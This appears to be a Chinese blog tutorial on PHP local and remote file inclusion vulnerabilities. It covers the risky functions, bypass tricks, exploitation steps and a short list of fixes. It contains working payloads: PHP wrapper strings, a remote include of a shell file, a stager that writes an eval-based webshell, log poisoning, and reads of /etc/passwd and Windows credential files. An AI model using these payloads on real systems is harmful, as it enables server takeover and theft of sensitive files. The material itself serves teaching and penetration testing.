文件包含漏洞
0x01文件包含漏洞简介
允许用户输入更改包含在服务器端的文件,导致恶意代码执行及敏感信息泄露,主要形式包括本地文件包含和远程文件包含两种形式。
0x02涉及函数
涉及函数:
include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
include_once():和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require():找不到被包含的文件时会产生致命错误,并停止脚本运行。
require_once():与require()类似,唯一区别是如果该文件中的代码已经被包含,不会再次包含。
0x03 绕过手法
伪协议绕过
远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On
长度截断
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
%00截断
条件是magic_quotes_gpc打开,而且php版本小于5.3.4。
特殊字符绕过
- 某些情况下,读文件支持使用Shell通配符,如
?*等 - url中 使用
?#可能会影响include包含的结果 - 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
还有一些共通的绕过手法如双写、大小写等等
0x04 文件包含存在位置
大多数PHP网站,具有和漏洞相关的文件包含函数以及文件包含函数中存在动态变量,且用户能够控制该变量,这些网站可能存在文件包含漏洞。
0x05 文件包含利用
读取敏感信息
如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:
c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件
远程包含shell
test.txt文件,可以保存在远程服务器上,内容如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[123]);?>")?>
如果目标网站存在远程包含漏洞,则可以通过访问:xxx.com则会在服务器根目录下生产一个shell.php内容为:
<?php eval($_POST[123]);?>
本地包含配合文件上传
如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
上传一个图片木马a.jpg,内容为:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>
访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。
本地包含配合apache日志拿shell
apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。
截断包含
有些开发者为了防止本地包含漏洞,会编写一下代码:
<?php
Include $_GET['page'].".php"
?>
新建1.jpg:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>
这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00
0x06 文件包含常见形式
常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
考虑常用的几种包含方式为
同目录包含 file=.htaccess
目录遍历 ?file=../../../../../../../../../var/lib/locate.db
日志注入 ?file=../../../../../../../../../var/log/apache/error.log
利用 /proc/self/environ其中日志可以使用SSH日志或者Web日志等多种日志来源测试
0x07 修复方式
1、PHP 中使用 open_basedir 配置限制访问在指定的区域,防止目录遍历
2、过滤点、反斜杠等特殊字符或使用str_replace等方法过滤掉危险字符
3、尽量关闭allow_url_include配置
4、版本升级,防止%00截断
5、对上传的文件重命名,防止被读取
6、动态包含文件设置白名单,不读取非白名单的文件

浙公网安备 33010602011771号